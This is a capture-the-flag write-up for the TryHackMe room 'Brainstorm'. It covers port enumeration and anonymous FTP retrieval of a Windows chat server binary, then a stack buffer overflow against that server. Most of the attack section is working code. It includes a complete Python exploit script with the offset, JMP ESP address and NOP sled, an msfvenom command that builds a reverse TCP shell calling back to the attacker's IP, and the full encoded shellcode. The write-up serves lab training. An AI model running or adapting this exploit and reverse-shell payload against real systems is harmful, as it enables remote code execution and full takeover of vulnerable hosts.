TryHackMe - Brainstorm
Brainstorm is a TryHackMe room that consists in reversing a chat program and exploiting a buffer overflow on a remote Windows machine.
Enumeration
1 2 3 4 5 | $ nmap -Pn -oN ports.txt 10.10.70.196 PORT STATE SERVICE 21/tcp open ftp 3389/tcp open ms-wbt-server 9999/tcp open abyss |
FTP (port 21)
We can login anonymously with ftp. As we can see there is a folder called chatserver which contains two files:
- chatserver.exe
- essfunc.dll
At this point, I downloaded the two files using put <filename>. Then I tried to run chatserver.exe with wine but it didn’t worked. I also tried to execute it from a Windows VM.
Exploitation
I executed chatserver.exe on a local Windows virtual machine and attached it to x32dbg to find a potential buffer overflow.
I wanted to use x64dbg / x32dbg for many reasons: @sebdraven recommended me this tool a few years ago to start reverse engineering, it’s open-source and maintained by a community, the tool also supports x64 debugging (unlike Immunity Debugger) and it doesn’t require a pro license (unlike WinDBG or IDA pro).
For stack-based buffer overflow exploitation, we usually follow four main steps to identify and exploit the buffer overflow vulnerability:
- Fuzzing the application
- Controlling EIP (calculating the offset)
- Identifying Bad Characters
- Finding a Return Instruction (like JMP ESP or CALL ESP for instance)
- Jumping to Shellcode (if security mechanisms such as DEP are disabled)
In order to perform all these steps, I use an exploit script skeleton:
#!/usr/bin/python3 import socket import sys from struct import pack TARGET = "127.0.0.1" PORT = 8888 OFFSET = 1337 # /usr/bin/msf-pattern_offset -q VALUE def send_payload(payload, debug=False): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET, PORT)) if debug: breakpoint() s.send(payload) s.close() except: print("Could not establish a connection") sys.exit(0) def fuzz(): for i in range(0, 10000, 500): # incrementing by 500 at each iteration buffer = b"A" * i print("Fuzzing %s bytes" % i) send_payload(buffer, debug=True) def eip_offset(): # /usr/bin/msf-pattern_create -l VALUE pattern = bytes("", "utf-8") send_payload(pattern) def eip_control(): buffer = b"A" * OFFSET eip = b"B" * 4 payload = buffer + eip send_payload(payload) def bad_chars(): all_chars = bytes([ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF ]) buffer = b"A" * OFFSET eip = b"B" * 4 payload = buffer + eip + all_chars send_payload(payload) def exploit(): # msfvenom -p 'windows/shell_reverse_tcp' LHOST=OUR_IP LPORT=OUR_LISTENING_PORT
EXITFUNC=thread -f 'python' --bad-chars "\x00" --var-name shellcode shellcode = b"" buffer = b"A" * OFFSET eip = pack("<L", 0x0069D2E5) # jmp_esp nop = b"\x90" * 32 payload = buffer + eip + nop + shellcode send_payload(payload) #fuzz() #eip_offset() #eip_control() #bad_chars() #exploit()
I will try to exploit this program locally and then run my exploit script directly on the target machine.
Jumping to shell code
We got everything to exploit our program:
- we calculated the offset (2012)
- we identified all bad characters (there were none, except 0x00)
- we found a JMP ESP instruction (0x625014DF)
- we can generate a shell code with msfvenom:
$ msfvenom -p 'windows/shell_reverse_tcp' LHOST=$(vpnip) LPORT=443 -f 'python'
--bad-chars="\x00" --var-name shellcode [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 351 (iteration=0) x86/shikata_ga_nai chosen with final size 351 Payload size: 351 bytes Final size of python file: 1965 bytes ...
Before adding this shellcode to our exploit script, we need to prepend it with NOP (No Operation) bytes (machine code 0x90). This is to prevent some issues with Stack Frame and Stack Alignment.
In fact, by the time our JMP ESP instruction is executed, ESP (top of the stack) may have moved slightly and the first few bytes of our shell code may get skipped, which will lead failing the exploitation.
Adding 32 bytes of NOP before our shell code should guarantee that the execution starts somewhere within these bytes, and continue to execute our main shell code.
def exploit(): # msfvenom -p 'windows/shell_reverse_tcp' LHOST=$(vpnip) LPORT=443 -f 'python' --bad-chars="\x00" --var-name shellcode shellcode = b"" shellcode += b"\xbd\xad\xe4\xf5\xa1\xdb\xce\xd9\x74\x24\xf4" shellcode += b"\x5b\x2b\xc9\xb1\x52\x31\x6b\x12\x03\x6b\x12" shellcode += b"\x83\x46\x18\x17\x54\x64\x09\x5a\x97\x94\xca" shellcode += b"\x3b\x11\x71\xfb\x7b\x45\xf2\xac\x4b\x0d\x56" shellcode += b"\x41\x27\x43\x42\xd2\x45\x4c\x65\x53\xe3\xaa" shellcode += b"\x48\x64\x58\x8e\xcb\xe6\xa3\xc3\x2b\xd6\x6b" shellcode += b"\x16\x2a\x1f\x91\xdb\x7e\xc8\xdd\x4e\x6e\x7d" shellcode += b"\xab\x52\x05\xcd\x3d\xd3\xfa\x86\x3c\xf2\xad" shellcode += b"\x9d\x66\xd4\x4c\x71\x13\x5d\x56\x96\x1e\x17" shellcode += b"\xed\x6c\xd4\xa6\x27\xbd\x15\x04\x06\x71\xe4" shellcode += b"\x54\x4f\xb6\x17\x23\xb9\xc4\xaa\x34\x7e\xb6" shellcode += b"\x70\xb0\x64\x10\xf2\x62\x40\xa0\xd7\xf5\x03" shellcode += b"\xae\x9c\x72\x4b\xb3\x23\x56\xe0\xcf\xa8\x59" shellcode += b"\x26\x46\xea\x7d\xe2\x02\xa8\x1c\xb3\xee\x1f" shellcode += b"\x20\xa3\x50\xff\x84\xa8\x7d\x14\xb5\xf3\xe9" shellcode += b"\xd9\xf4\x0b\xea\x75\x8e\x78\xd8\xda\x24\x16" shellcode += b"\x50\x92\xe2\xe1\x97\x89\x53\x7d\x66\x32\xa4" shellcode += b"\x54\xad\x66\xf4\xce\x04\x07\x9f\x0e\xa8\xd2" shellcode += b"\x30\x5e\x06\x8d\xf0\x0e\xe6\x7d\x99\x44\xe9" shellcode += b"\xa2\xb9\x67\x23\xcb\x50\x92\xa4\xfe\xaf\xbf" shellcode += b"\xa7\x97\xad\xbf\xc6\xdc\x3b\x59\xa2\x32\x6a" shellcode += b"\xf2\x5b\xaa\x37\x88\xfa\x33\xe2\xf5\x3d\xbf" shellcode += b"\x01\x0a\xf3\x48\x6f\x18\x64\xb9\x3a\x42\x23" shellcode += b"\xc6\x90\xea\xaf\x55\x7f\xea\xa6\x45\x28\xbd" shellcode += b"\xef\xb8\x21\x2b\x02\xe2\x9b\x49\xdf\x72\xe3" shellcode += b"\xc9\x04\x47\xea\xd0\xc9\xf3\xc8\xc2\x17\xfb" shellcode += b"\x54\xb6\xc7\xaa\x02\x60\xae\x04\xe5\xda\x78" shellcode += b"\xfa\xaf\x8a\xfd\x30\x70\xcc\x01\x1d\x06\x30" shellcode += b"\xb3\xc8\x5f\x4f\x7c\x9d\x57\x28\x60\x3d\x97" shellcode += b"\xe3\x20\x4d\xd2\xa9\x01\xc6\xbb\x38\x10\x8b" shellcode += b"\x3b\x97\x57\xb2\xbf\x1d\x28\x41\xdf\x54\x2d" shellcode += b"\x0d\x67\x85\x5f\x1e\x02\xa9\xcc\x1f\x07" buffer = b"A" * OFFSET eip = pack("<L", 0x625014DF) # jmp_esp nop = b"\x90" * 32 payload = buffer + eip + nop + shellcode send_payload(payload)
Now we have to replace the IP address of the target, we execute our script again and we got a shell as system:
Comments
Post a Comment